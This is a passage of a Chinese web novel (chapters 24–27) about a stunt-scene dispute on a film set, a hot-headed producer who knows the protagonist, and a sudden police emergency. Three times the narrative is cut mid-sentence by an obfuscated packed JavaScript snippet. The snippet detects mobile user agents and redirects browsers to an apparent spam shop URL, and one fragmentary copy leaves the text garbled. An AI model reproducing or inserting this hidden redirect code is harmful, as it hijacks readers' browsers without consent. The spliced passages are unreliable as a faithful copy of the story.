张秘书年纪是神奇秘书们中最小的,比邵巧巧还小一岁,此刻他语气不知不觉满是敬意道:“徐先生,您在AGB工作是不是会认识更深刻一些?” 徐长嬴摇了摇头,笑了起来:“如果自己或在乎的人处于权力结构底层,当不公降临时,现实的疼痛会让糊涂的脑子清醒过来。这其实比听性别主义讲座课程要有用多了。” “毕竟,”徐长嬴垂着眼,不知在想什么,“人都是鞭子落在自己身上才知道疼的。” 24. 抢戏风波(上) 因为是六月的晴天,午后柏油马路已经被太阳晒出了微微的焦味,电车叮叮当驶过十字街口时车窗都折射出晃眼的日光。 剧组和有关部门申请过,整条街道都被封闭管理了四小时,导演组和摄影师顶着大太阳扯着嗓子一个个安排群演走位,老街上渐渐有了看似平常但规整的场景调度,而在街景的对面则是庞大的摄影组。 “谢谢姐。”徐长嬴嘴里叼着香烟糖撩起了门帘走了出去。 靠在红绿灯边上的夏青将外套拎在手里,站在楼房的阴影下,没做任何姿势就像个拍杂志的模特,站在人群里极其出挑。 徐长嬴拎着一兜子走到夏青身边,将果粒橙和乌龙茶分给邵巧巧和张秘书,他将一罐旺仔递给夏青,“冰的,喝一口?” 夏青微微摇了摇头,“我不渴,你喝吧。” 徐长嬴咬着香烟糖笑眯眯道:“那我也先不喝了。” 说罢就把塑料袋递给张秘书,又道:“幸好这个街道里的店铺不封,你们热了可以进去吹吹冷气,那老板娘说剧组给他们五百块一天呢。” 夏青的目光还停留在徐长嬴嘴上的香烟糖上,徐长嬴和他对视一下就笑了,他上下牙一碰,咯吱一声咬断一小截,“这是糖啦,我今年戒烟呢。” 夏青的神情间这才浮现了一丝恍然,但下一刻徐长嬴又像变戏法一样,伸出右拳,指缝间插了四根棒棒糖。 “当当——我刚刚找了一圈发现他们家小店里竟然没有草莓味的薄荷糖,所以我就买了棒棒糖,吃一个吧!” 夏青似乎是没想到他还记得要给自己买薄荷糖,微微一怔后,也真的从四根棒棒糖里选了草莓口味的拿在手里。 徐长嬴正笑眯眯地看着夏青剥糖纸,张秘书就拎着他那个公文包走过来,施施然地掏出2副墨镜分给徐长嬴和夏青。 “夏总,徐先生,今天太阳很大,您二位戴着会舒服些。” 徐长嬴的香烟糖差点掉在地上,他震惊地看着张秘书和他的公文包,还有自己手中的墨镜,他下意识转过头,只见邵巧巧正戴着墨镜喝果汁,她脸上的墨镜居然还是浅褐色女款的。 徐长嬴颤抖地将墨镜戴上,将他惊诧的眼神遮了起来,道:“不是,等等——张秘书你是怎么想到准备墨镜的?” 张秘书将公文包合上,自己也戴上了同款黑墨镜,这让他的专业气质更上了一层楼,他一本正经又理所当然道:“这是我应该做的,我们昨天提前确认了剧组的通告单和天气。” 徐长嬴本来想问夏青你们培养秘书的秘诀是什么,一抬头就看见夏青白皙俊俏的面庞上也戴起了墨镜,嘴里还叼着棒棒糖,于是嘎巴一声他就将香烟糖嚼断,连同俏皮话一起咽了下去。 “哇,要撞车了!难道是真撞吗?”邵巧巧嘴里叼着苹果味的棒棒糖,伸着脖子惊喜道。 徐长嬴四人站在看热闹最佳视角的街角处,四人都统一戴着墨镜,叼着棒棒糖——张秘书一开始为了自己的专业形象死活不肯叼,还是徐长嬴剥好塞到他手里的。 这是场重头戏,所以徐长嬴还算有印象,在这个街道里要先拍一场正反派追车和撞车戏,然后还要拍一场跳楼戏——女二高亦巧为了追毒贩从居民楼三楼跳到一楼水果店的阳篷上。 徐长嬴看了看手表发现刚刚好一点半,特技演员和车辆已经就位,随着导演组的喇叭喊了一声开始,刺耳的刹车声响彻街道上空,五秒里一白一黑两辆车就在老街路人(演员)的四处躲避和尖叫声中撞在一起,而且非常完美地翻了个底朝天。 随着顾阳封喊的咔,现场所有人都欢呼鼓掌起来。 邵巧巧捂着心口,喃喃道:“就算知道是假的,这也太吓人了,要是没拍好怎么办?” 徐长嬴笑着用大拇指指了指身后街道上停着的两辆一模一样的车:“那就再来一次呗,拍电影的钱不就花在这些上面。” 张秘书也没有看过拍电影的现场,脸上流露出一丝不专业的好奇和兴奋:“原来如此。” 很快人员稍微处理了一下现场,画好战损妆的卓宾白和谢忆南就取代特技演员坐进了破车里,准备拍从车里钻出来的特写镜头——等等,徐长嬴歪着头,心想怎么是谢忆南? 正在思考,一群人就朝徐长嬴几人的方向走了过来,这时他们头顶上又传来嘈杂人声,徐长嬴抬起头,发现正是吴奇泽等人,原来他们边上这个楼房就是要拍跳楼戏的地方,道具组正在紧锣密鼓的准备着拍戏要用的安全绳和威亚。 因为封路的时间很紧张,这个庞大的剧组分工明确,效率奇高,半小时后主演和反派这边的特写拍完,就要上跳楼戏了。 然而晁正信和吴奇泽面对站在他们面前的谢忆南愣住了,晁正信的脸色都绿了,他看了看顾阳封,结巴道:“顾导,不是,亦巧姐吗?” 顾阳封低着头看着分镜本,头也没抬,他边上的杨副导演一脸若无其事又轻飘飘道:“哦,你说的那是好几版前的剧本,之前编剧和导演改了,现在这场戏是忆南,你快去准备吧。” 吴奇泽道:“可是,之前这场戏动作培训的是高小姐……”他的声音在谢忆南的斜睨和导演组的漠视里越来越小。 徐长嬴看热闹的兴奋感又一次涌上心头,他舌头拨弄了一下嘴里菠萝味棒棒糖,偏过头对着认真研究威亚装备的夏青小声道:“这是光明正大的抢戏,看上去导演和这个女主角是私底下说好的。” 夏青一本正经地听着徐长嬴说八卦,还点了点头。 因为之前张秘书说了不用乔平等人陪,所以乔平几个制片人就没有跟着他们。但这时他们就站在热闹边上,所以乔平抬头看向他们,脸上准备好的笑容却在看见墨镜棒棒糖四人组时又瞬间僵住,迅速扭开头,假装没看见他们。 因为谢忆南事先没有培训过,道具组今天又一次遭了老罪,吴奇泽跟着跑上跑下调试设备,T恤汗湿了一大片,道具组其他人也将准备好的充气气垫推到阳篷下。 打头阵的依旧是两个特技替身,他们先后冲破窗户玻璃并一跃而下,很快就完成大部分的动作镜头,而剩下就需要谢忆南在威亚上速降补拍特写镜头了。 这个动作镜头还是有些风险,所以也是个人物高光剧情,可能是谢忆南不满自己的戏份,所以废了力气抢过来的,毕竟中午就能看出她与导演顾阳封的关系十分密切。 晁正信站在楼下,一切准备好后,他拉开了手中的对讲机,滋啦一声之后,徐长嬴只听见面前的对讲机里和楼上都传出了谢忆南的尖利声音:“我经验比你丰富多了,你以为我拍了多少年戏,废话什么,你确保我的安全就行!” 晁正信擦了擦汗,听见对讲机里的吴奇泽说了一句“就位” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049270|137533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便也对场务说了句就位。 很快摇臂摄像机等几个机位都就绪了,导演组的喇叭喊了一声开始。 下一秒谢忆南的身体就出现窗台上,她的演技还算可圈可点,将角色一瞬间的犹疑、恐惧和勇敢等多重情绪都表现了出来,两秒之后她就按照剧本安排那样闭着眼跳了出来。 但在跳出的那一瞬间,谢忆南还是太过紧张,她的腿没有跟上她的上半身的动作,下半身短暂滞留在窗台上,这就导致下一秒她的重心歪了,安全扣被卡死,整个人都吊在三楼高的空中。 邵巧巧捂着嘴还没惊呼,徐长嬴身侧一个男人就厉声尖叫起来,把徐长嬴吓得今天第二次嚼碎嘴里的糖,不由自主地往夏青身上一歪,而夏青也下意识紧紧搂住他的后背和肩膀,徐长嬴定睛一看才发现谢忆南的经纪人于则不知道什么时候冒出来,还贴着他站在一边。 “忆南——快救人快救人!!”于则跑到晁正信面前。 人群一时也都骚动起来,晁正信无奈地连连摆手,“只是安全扣卡住了,这是重心不稳时的正常的防护措施,不用太担心,我们马上将南姐放下来。” 被挂在空中的谢忆南脸色都白了,好在她所处高度没有特别高,大概五六米,下面还摆了一米高的气垫,不过这时也能看出她确实经验丰富,没有特别慌张,只是调整了一下呼吸和表情,接着抬起头就对身穿安全绳站在窗台上确认她安全的吴奇泽劈头盖脸骂道:“你们怎么搞的,刚刚怎么不和我说有这个安全扣!” 吴奇泽似乎小声解释了什么,但是谢忆南因为紧张还是将怨气撒在他的身上,站在一楼的晁正信也没法帮他,只能对着对讲机另一边的人员道:“不着急,冷静一点,慢慢地将南姐放到气垫上。” “这可真够敬业的,”一个带着极其浓厚嘲讽意味的女声响起,谢忆南和于则的脸色一变,徐长嬴看着他身边又突然冒出来的人,一脸无奈地心想他们四人站的位置真是个风水宝地。 嘲笑谢忆南的正是高亦巧,她抱着胳膊,身边站着她经纪人在内的团队,望着吊在半空慢慢下降的谢忆南,眼中满是忌恨之意。她比谢忆南要小八岁,今年才二十三岁,走的是演技小花路线,也是一个容貌绝佳的女性Omega。 高亦巧似是一句不够解气,又开口扬声道:“南姐您刚刚差点把我心脏都吓出来了,您也要多注意身体,别那么拼,不像我们年轻人粗皮厚肉的,您要是哪里受伤了得修整好久呢!” 谢忆南还被吊在半空,看上去确实十分狼狈,她一时间羞恼不已,虽然乔平和于则等人已经围住高亦巧想把她带离现场,但谢忆南的火气已经烧到了眉毛,她拽了拽自己胸前的安全绳,怒道:“怎么那么慢,快点!” 她离气垫就还有二三十公分,但吴奇泽等人在上面看不清,慌乱之下松了滑轮,让她一屁股就落在了气垫上,狼狈程度更加升级,高亦巧更是没有放过她大声笑了起来。 这下谢忆南的火气从眉毛直接烧到了头发稍,不等于则和她的助理们将她扶稳,她就涨红着脸喝道:“上面的那个谁,给我滚下来!你今天是存心和我过不去,还想害我命是吗?” 站在人群里的邵巧巧脸上的惊诧连墨镜都遮不住了,她捏着吃完的棒棒糖棍子,无奈地小声吐槽道:“不会又是吴奇泽倒霉吧?——今天他才是男主吧我说。” 25. 抢戏风波(下) 从楼上下来的果然是今日男一号吴奇泽,他满头大汗,脸上满是衰败之意,整个人犹如一枝灰败的野草,尽管剧组里在场的三个制片人,两个现场导演都围着谢忆南,也挡不住她的怒火,他与站在一旁开心看热闹的虚假男一号卓宾白宛若身处两个世界。 “南姐您可别发那么大火,咱剧组今天封路时间很短,耽误拍摄进度就不好了,唐总刚刚特意和我打电话问了拍摄进度,我才赶过来的,不然没人叫我,我都不知道今天拍23-8呢。”高亦巧站在一边冷笑道,面上满是搅混水成功的快乐。 乔平身上的汗都快赶上吴奇泽了,他连忙道:“亦巧你先别说话,咱们都冷静点。” 谢忆南猛地转过头盯着高亦巧的脸,两只秀丽的杏仁眼里几乎冒着寒光,她冷笑道:“去告状是吗?有用吗?你低头瞧瞧你自己,唐总正眼看过你吗?” 高亦巧的脸色也僵了一瞬,她甩了甩自己的头发,气势矮了一截,但嘴里还不肯放过对方,“是吗,那我们等着瞧吧。” 徐长嬴仅有的进组经验还是好几年前在国外带着十来个人拍实验短片,实在是没见过电影大剧组里如此尖锐的利益纠纷,他有点无奈地摸了摸脸颊,下意识扭过头看看夏青,只见他正认真地观察争吵现场,手里也捻着棒棒糖棍子。 徐长嬴凑过去拿走了那根小棍,夏青这才抬起头看向他,就算戴着墨镜徐长嬴也能知道此时他的眼睛似乎在说怎么了。 徐长嬴小声笑道:“捏着干嘛,占地方,我给你扔了。”说罢他捏着夏青和自己的棒棒糖棍,四周看了看拥挤的人群,最后直接没有道德地扔下水道里了。 夏青露出的下半张脸上嘴巴微微抿了起来,一副道德谴责模样地看着他,徐长嬴低声辩解道:“看我干什么,都是纸做的,反正可以降解。” 两句话的功夫,再转过头,谢忆南本人和她团队已经撕扯上吴奇泽了,吴奇泽木讷地站在晁正信身后,谢忆南纤长的手指戳在他的脑门上,满是羞辱的意味。 徐长嬴有些不忍心,正想上前,但夏青这次却快他一步,取下墨镜,朝着吴奇泽等人走去。 谢忆南脸上还画着流血的特效妆,让她娇美的面庞增添了许多情绪感染力,她厉声骂道:“就是你今天性骚扰我不成,还存了害人的心思,你这种下流没有职业道德的败类留在行业里就是祸害!我骂你是劣等货难道是我骂错了吗!我今天话放在这里,你以后别想进这一行!赶紧给我滚!” 她上扬的手掌就要再次触及吴奇泽的脸庞的时候,吴奇泽突然被推到一边,一张俊逸冷漠的脸替代了他,原本没怎么用力拉架的乔平一瞬间被吓得魂飞魄散,涌起全身的力量扯着谢忆南往后退,堪堪让那只手划破夏青面前的空气。 “夏总!您怎么过来了!又让您看笑话了,小吴,快带夏总去空调扇那边歇着!”乔平一边拦着愤怒的谢忆南一边对着夏青充满歉意地笑道。 站在夏青身侧的张秘书面上满是肃然之色,他冷冷开口道:“乔总,我之前和您这边确认过行程,今天下午是电影中十分重要的动作戏,我才安排了夏总和徐先生的参观行程,您这边是不打算拍了吗?如若不打算,我们也没有继续停留的必要了。” 三个制片人的脸色都绿了,顾阳封这时也走了过来,他的目光停留在谢忆南和高亦巧的身上,沉声喝道:“都不想拍戏了是吗?那都别演了,这场戏不拍了,你们谁能担得起,谁能把封路的费用和浪费的时间都补回来!” 谢忆南和高亦巧脸色都难看许多,一时没人再说话,顾阳封又抬起头对着夏青诚恳道:“夏总,没想到今天让您见笑了,我们这么大的剧组,人杂口多,难免会有些摩擦,您可千万别往心里去,这边太热了,您和徐先生移步到我们那边,我们那边有空调扇和遮阴棚。” 夏青没有开口,导演组一时也都僵住了不敢说话,但他们身后谢忆南捋了捋脸侧的头发,她看向夏青的眼神满是复杂的恨意和不甘,她不知道为什么这个传闻中的兴安集团的极优性继承人会出现在剧组,并且和他身边的人三番两次地折辱她,简直就像是为了阻拦她去辞退一个劣等alpha道具师——这未免太可笑和荒唐了。 乔平还在使出浑身解数劝着夏青和张秘书别生气,下一刻就听见身后的谢忆南以不容置疑地气势道:“今天必须把这个道具师辞了,不然戏都别拍了!” “哦,拍电影原来是你和道具师说了算吗?” 一个轻浮的男人声音突然在人群外围响了起来,一瞬间,庞大的摄制组都安静了。 乔平和顾阳封等人在听到这个声音时,脸上残存不多的血色更是褪的一干二净。 人群后面,一个男人穿过街道直直走过来,徐长嬴只回头瞥了一眼就无语地闭上了眼睛。 这人看上去足有一米九,与夏青差不多高,走在炙热的阳光下,整个人像是镀了一层金一般,尤其是他身上穿着的衣服——荧光粉色挺括西服外套和同色系工装裤,加白色内搭背心和低帮皮靴,脸上还戴着绿色偏光□□镜,不能说难看,只能说很难相信这种饱和度颜色的衣服会出现在现实世界里。 徐长嬴震惊之余收回目光,却见众人一副如临大敌的神情,内心满是不可思议:不是,真的没有人吐槽一下这人的穿衣风格吗?你们难道都习惯了吗? 谢忆南的神情完全变了,她又变回了那个柔美秀丽的国民仙女,她怯生生地看着走过来的男人,还没说话眼眶就红了:“唐总——我不是那个意思,我今天……” 男人倒是没有看向她,只是穿过人群,走到顾阳封面前,在乔平铁青的脸色里,十分随意地抽出了这个老电影人手中的分镜本。 “让我看看,”粉色西装男甚至连□□镜都没摘,举起分镜本仔细看了两眼,装模作样地疑惑道,“我没记错呀,上面写着是女二燕徐云拍23-8,怎么改了?” 原本站在一边也是满心紧张的高亦巧脸上瞬间涌上了喜色,而顾阳封和谢忆南的神情则是灰败到了底。 “嗯?顾导,我问您呢,”粉色西装男把分镜本重新放回顾阳封的手里,凉凉道:“为什么改了分镜本,我们当时敲定了这版是我记错了还是你记错了?” 顾阳封几乎不敢抬头直视他,强作镇定道:“后来我们和编剧做了些修改,没有大改,所以还没有来得及和唐总您汇报。” 杨副导演连忙在一边硬着头皮圆场道:“对的,剧本落地难免会有修整,这次也是一个小改动,就两三个镜头,很快就拍完了。” “哦,那我是不是还应该对你们说一声辛苦了?一部电影拍的热火朝天的,封四小时的路还能留三小时吵吵架,一会吵谁跳楼,一会吵开除哪个道具师,”粉色西装男语气越来越轻浮,怒意却逐渐浮现,“花的不是你们的钱,就无所谓是吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049271|137533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 杨副导演和乔平等人惶恐万分,连忙摆着手:“不不不,我们绝对没有那个意思!唐总您误会了,您消消气,我们这个镜头很快就拍完!” 西装男突然歪着脑袋看向站在一旁面无表情的夏青,嘴角一扬,戏谑道:“我的钱确实不够你们花,但你们怎么连在其他投资人面前卖力表现的觉悟都没有?” “我不在,你们是一件正事都不干是吧?”男人脸上的笑容彻底消失了,他敲着顾阳封怀里的分镜本,边敲边骂:“我对你们要求苛刻吗!我这个主制片人不够给你创作空间吗!我说了,我们提前把重要分镜磨好了之后就按着这个拍,我飞到全球各地给你们找钱找技术人才,你们就是这么回馈我的!” “演员之间抢戏打架还能打到道具师头上!三个制片人四个导演一个下午拍不完一场戏!是要我再去找关系再给你们封四个小时的路吗!” 这下从顾阳封到谢忆南再到高亦巧,几乎所有主创人员都大气不敢出,邵巧巧拽了拽徐长嬴的袖子,徐长嬴低头冲她轻松笑了笑,心里却开始盘算起怎么悄无声息地偷偷溜走,再抬头时却见夏青和张秘书都是一副平静如水的淡漠神情,似乎就准备站在一旁静候事态发酵。 不是吧,这么爱看热闹嘛! 站在热闹中心的粉色西装男宛若阎王点卯,在一群心虚惶恐的主创人员面前转圈怒道:“演员干不下去就滚!道具师干不下去就滚!制片人没有用也都滚!反正不是都当我有钱吗?都滚了,我重新找人拍!尤其是导演!” 顾阳封一个不惑年纪的资深导演被这个二十多岁的年轻男人骂得浑身一颤,粉色西装男几乎和他怀里的分镜本干上了,又开始敲那玩意:“我说了,什么都可以动,这个本子上的东西不能动!你知道我为什么在外拼命给这个电影拉钱吗!你以为我是信你?信谢忆南?我是信这个本子!你以为我花了多少功夫找人去磨这个玩意?” 徐长嬴觉得不行,他还是要走,先不能管夏青他们了,他揪着邵巧巧的袖子,示意她和自己悄悄撤,邵巧巧虽然不知道他为什么要突然走,但是仍然听话地和他一起在人群里慢慢往后挪。 粉色西装男越敲越生气,他抬起头声音又高了好几度:“你知道我找了谁去改这个本子吗?我找了Edmund导演给我一格一格改的!你们算什么东西随随便便就给瞎改一通!我请问你们自己是怎么高估自己有资格去改剧情改分镜的,不知道自己几斤几两——” 粉色西装男激情四射的叫骂声突然戛然而止。 快要被骂到休克的乔平顾阳封等人战战兢兢地不敢抬头,都怕这个疯财主是又突然想出什么新的骂人句式,但足足二三秒过去了,财主大人还是没吭声。 众人这才小心地抬起头,只见自家主制片人愣在原地,一脸不可思议,不知道看到了什么。 “Edmund?”西装男的声音像是在空气里飘着一样。 众人简直一头雾水,难道主制片人把他的大师顾问也请回国了吗? 粉色西装男缓缓摘下了自己的□□镜,他眨了眨眼睛,上一秒还满是狰狞怒意的脸上竟然浮现出一丝欣喜:“你为什么会在这里?” 剧组所有人,连同邵巧巧都摘下了墨镜顺着他的目光看向已经挪到人行道边上,此刻脸色如锅底一般难看的beta。 “徐长嬴学长!”粉色西装男冲了过去,开心地大叫道。 26. 庆元事变(上) “我还要再解释吗?还有什么不明白的吗?” 徐长嬴面色不虞地坐在老街内景的临时休息室的椅子上,整个房间都已经清空了,只剩下他们四人与粉色西装男。 粉色西装男,或者说唐攸宁,站在徐长嬴面前垂头丧气,再也不见一丝一毫在片场发疯的锐气。 邵巧巧坐在靠门口的转椅里,张秘书则尽忠职守地站在夏青椅子边上。 夏青坐在窗边的位置,垂着目光,看着手里徐长嬴和自己的墨镜,似乎并不在意房间里古怪的气氛。 一身粉红的唐攸宁扭着手里的偏光镜,沉默了好一会儿,才憋出一句:“没有了。” 徐长嬴看了看手表,脸色还是冷冷的,回国好几天了,这个专业笑面虎还是第一次如此生气 ,邵巧巧心里默默将他与严建柏盛怒比较起来,发现吓人程度竟然不相上下。 徐长嬴冷声道:“我这边在忙正事,所以我没工夫和你算账,你下次再嘴上没有把门的,吹牛还带上我,你以后拍什么都别来找我了,最后的五万美金我年末就打给你。” 唐攸宁从进了房间起就一直摆出一副低眉顺眼任人打骂的窝囊样,直到听到徐长嬴说的最后一句时他才连忙抬起头,着急地嚷道:“谁问你要钱了!那点破钱谁稀罕,不是说好了,你再帮我看一个项目的吗?你这人怎么老是说话不算数!” 那点破钱,邵巧巧算了一下汇率,悲哀地发现那是自己三年的工资加绩效加年终奖,于是悄无声息地崩溃了。 徐长嬴太阳穴青筋都跳了,他克制不住自己的火气,瞪着唐攸宁,怒道:“我真他妈服了——是你学电影还是我学电影?你那几十个编剧和摄像美术是吃干饭的吗?我不过是给你拍了几个作业帮你毕业的半吊子,你还能一辈子都靠我吗?我以后的年假不会再用在你这些倒霉电影上了。” 唐攸宁年纪越来越大,长得也越来越像他早逝的大姑,东方基因主导的面庞上一双大眼睛透露着西方的神韵,该凌厉的时候凌厉如寒霜,该示弱的时候又如一汪泉水,此时他就眼眶微红,盯着徐长嬴看。 “你昨天还和我说你在非洲吃蚊子饼,”唐家大少爷迅速开始翻旧账,并且越讲越气,他边说着边瞥了一眼坐在角落里的夏青,果然立刻就收到徐长嬴警告的眼神,他的情绪瞬间崩溃了,自暴自弃地大声道:“我今天早上还给你发了微信说我回国了!你果然又把我设置免打扰了!学长你明明之前说过把我放出来的!你从来说话不算数!” “Lady,我很忙的,我没看到消息算我的不对,如果我知道你今天回国,我们都不用来了,让你的人给我发一份嫌疑人的同事暗采录音还更方便些,”徐长嬴站起了身,虽然表情看上去还是冷酷无情,但是语气还是和缓了一些。 “我们的事回头再算,我和同事现在要回去了。” 说罢就抬脚欲走的徐长嬴下意识回头一望,就看见了唐攸宁眼眶里即将掉落的眼泪,无奈地抓了抓头发,用身体挡住了邵巧巧和张秘书惊诧的视线。 徐长嬴又哭笑不得道:“你穿的像草莓熊就算了,你还不如草莓熊有种呢,刚刚没看到我的时候不是挺有派头的吗?你一个制片人最重要的就是拿出钱和气势,怎么拍管你什么事,你又不是导演。” 唐攸宁的情绪就像脱缰的野狗,完全不讲道理,他扭过头,吧嗒一眨眼,泪珠就已经顺着脸滚下来了。 “我服了,我真的赶时间,”徐长嬴无奈至极,“憋回去!我要走了,哥们下次请你吃饭,拜拜!” 唐攸宁这人和自己得精神病那几年一样疯癫,徐长嬴走了两步又警觉地扭过头,发现他竟然正含泪瞪着一旁的夏青。 坐在阳光里的夏青察觉到含有强烈敌意的视线,静静抬起脸与他对视,白皙俊逸的面上依旧是淡淡的疏离神情,虽然唐家实在显赫,但徐长嬴此刻觉得光看这两个继承人,唐家迟早要完蛋。 “你看谁呢,”徐长嬴低声骂了他一句,握住这个大型草莓熊肩膀一转,不分由说地让他面壁思过,随即就对夏青道: “走了夏青,快三点了,还不知道赵洋那边怎么样了。” 夏青点点头,站起身朝他走去,他们身后的唐攸宁又很大声地抽了一下鼻子,徐长嬴完全充耳不闻,邵巧巧也站了起来,偷偷瞥了一眼背对着他们的唐攸宁,眼神中满是担忧地看了一眼徐长嬴。 徐长嬴竖起食指比在唇前,皱了皱鼻子,示意别管他。 徐长嬴心累地一把拉开了休息室的门,谁知差点和几乎要贴在门上的乔平撞上了,一瞬间两人大眼瞪小眼,乔平慌乱地后退一步,就差将自己在偷听写脸上。 张秘书道:“乔先生,还有什么事吗?” 乔平厚着脸皮笑着摆摆手,“没什么,小事,就是道具组的吴奇泽说想和唐总聊一下,大概是想求情,我看他都快哭了,所以帮着来问一下唐总。” 徐长嬴和夏青对视一眼,他神色自然地点点头对乔平道:“那您去叫他吧。” 乔平愣了一下:“什么?” 门砰的一下又合上了。 徐长嬴握着门把手转过身,对着仍然背对他的粉色alpha道:“草莓熊别伤心了,你员工要来。” 五分钟后,吴奇泽站在休息室里,举措不安的攥紧了手中的鸭舌帽,他瞥了瞥整齐坐在角落里的四人组,又硬着头皮看了看翘着二郎腿坐在椅子里散发着强大气场的主制片人。 “唐总,我是道具组的副组长吴奇泽,我,我来是和唐总您道歉的,我今天因为粗心所以犯了一些错误,真的非常不应该,还拖延了剧组的拍摄进度,我真的不知道该如何是好。”吴奇泽说着声音还有些发抖,徐长嬴等人在监控室里已经见过他被审讯的样子,这确实是一个自卑的、怯弱的劣等alpha。 戴着墨镜的总制片人并没有吭声,只是歪了歪头,于是吴奇泽就又立刻语无伦次道:“我,我知道我犯了错,但是我还是希望能够留在风雷!能够在风雷里工作是我的荣幸,也多亏了晁组长对我的提拔和栽培,我之后一定更加用心卖力工作,为剧组服务,我刚刚也和乔总说了这个月的工资就当罚金,但我不能失去这个工作——我们在业内工作全凭口碑,如果我离开了后面就再也找不到工作了……” 这个普通中年男人的眼睛红了,他哽着嗓子道:“唐总,我真的不能失去这个工作,我家里只有我和母亲,她因为艾尔兹海默在疗养院里,每月需要交一次费用,我以后一定会更加卖力工作的……” 邵巧巧攥紧了裙角,她作为beta女性,不可能不与面前的沧桑男人共情,就算是一向坚定将其视为嫌疑人的徐长嬴也皱起了眉头。 “那就留下吧,”徐长嬴突然开口,吴奇泽听到他说话,连忙抬起头看向他,眼中满是感激。 徐长嬴对着一副老神在在模样的唐攸宁开口道:“他干活还挺麻利的,是道具组里的技术骨干,你现在半途去找其他人又麻烦。” 唐攸宁煞有其事地点点头,仰着下巴,对吴奇泽说:“剧组没有随便开人的道理,你回去继续工作吧,罚金什么的有人会调查今天的事情,你和乔平说不着急。” 派头十足,就是说话还带着微不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049272|137533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查的鼻音。 吴奇泽简直不知道该怎么反应,他向着唐攸宁鞠了躬,不停说感谢唐总,又向徐长嬴四人鞠躬,激动道:“谢谢徐先生夏总,也谢谢这位小姐和先生!” 徐长嬴笑着摆摆手,站起身扶着他:“本来你也没做错什么,谢什么。” 吴奇泽感激涕零地抬起头,看着徐长嬴的脸,道:“虽然我不知道几位的身份,但今天一直都非常感谢您。” 徐长嬴笑着伸出手,坦荡道:“我叫徐长嬴,吴先生你的技术也让人佩服,希望以后有机会再能看见您的作品。” 吴奇泽愣了一瞬,徐长嬴敏锐笑道:“怎么了?” 吴奇泽连忙摇摇头,诚恳道:“不知道为什么总觉得徐先生您的名字很耳熟,而且看见您也觉得很亲切,大概我以前在什么地方可能见过徐先生。” 徐长嬴也纳闷起来,他对吴奇泽却完全没有印象,更何况他在大学没读完就出国了,但他现在再仔细盘问意图就太明显了,而且看吴奇泽的样子,他并没有说谎,很是坦然。 “说不定是我们很有缘,”徐长嬴笑道。 吴奇泽劫后余生般地高兴走了,徐长嬴站在原地还是想不出来他记忆里有吴奇泽这个人,于是也放弃了思考,看了看站在自己身边的夏青,摇了摇头。 “我们走了,”徐长嬴对着唐攸宁说了一声。 唐攸宁戴着墨镜,看上去简直是个冷酷的潮男,他抿了抿嘴,最后还是不情愿道:“我又不敢拦你,你走呗,反正我这个电影拍不下去被爷爷扫地出门,我就天天找你去。” 徐长嬴无语地转过头,对着赌气别过脸的唐家优性继承人道:“我现在不想和你吵,你真的改改你的毛病——” 刺耳的铃声响了起来,徐长嬴愣住,回过头只见邵巧巧和张秘书都掏出了手机对视一眼接了起来。 邵巧巧站在一旁:“方队,是我。” 下一秒邵巧巧的神情就僵住了,她不可置信地看向徐长嬴,道:“您说,货车找到了?” 徐长嬴心脏漏了一拍,他刚要开口,就听见退到窗户边接电话的张秘书此时也失声问道:“陈组长,您那边怎么了!” 不过十秒钟张秘书那边的电话就被挂断了,他拿着手机,一向镇定的年轻面孔微微发白,他看向夏青和徐长嬴道:“夏总,陈组长和赵警官他们那边好像被暴力威胁了。” 徐长嬴连忙上前:“什么!庆元的人吗!他们胆子怎么这么大?” 就在这时,陈秘书给张秘书传来了一段手机录像,很短只有15秒。 张秘书立刻将手机递给夏青,巧巧也放下手机,焦急道:“徐警官,方队让我们现在立刻赶去工业园,庆元的人是正要销毁货车时被洋哥他们发现的!” 夏青此时点开了视频,嘈杂的人声突然从手机里炸开,那是赵洋的声音。 “不准过来!你们这是妨碍公安办案!”赵洋的语气充满威慑力,在画面之外传来。 陈秘书录像的镜头对准了一辆被撤了一半绿色塑料蓬的货车,他的角度很精确地将车牌号也拍摄了进去,而光他的视角里就有十二三个穿着庆元工作服的大汉站在货车边上,徐长嬴看见他们手里还拎着棍子和铁锹。 陈秘书此刻好像还对着什么人说话,他语速很快但声音还保持着镇静,“李总唐总,这是林厅长安排的行动,请您立刻让手下住手,防止事态升级……” 话音未落,视频视角就猛地摇晃起来,像是手机被什么人砸落了,紧接着徐长嬴就听见齐枫怒吼的声音。 “住手!别碰他——” 27. 庆元事变(下) 视频戛然而止。 徐长嬴的心因为齐枫最后的那一声怒吼彻底搅乱了,他厉声道:“我们现在立刻就过去,快,巧巧,你把赵洋他们身上的摄像头视频转过来!” 张秘书也抢先冲了出去:“我去把车开过来!” 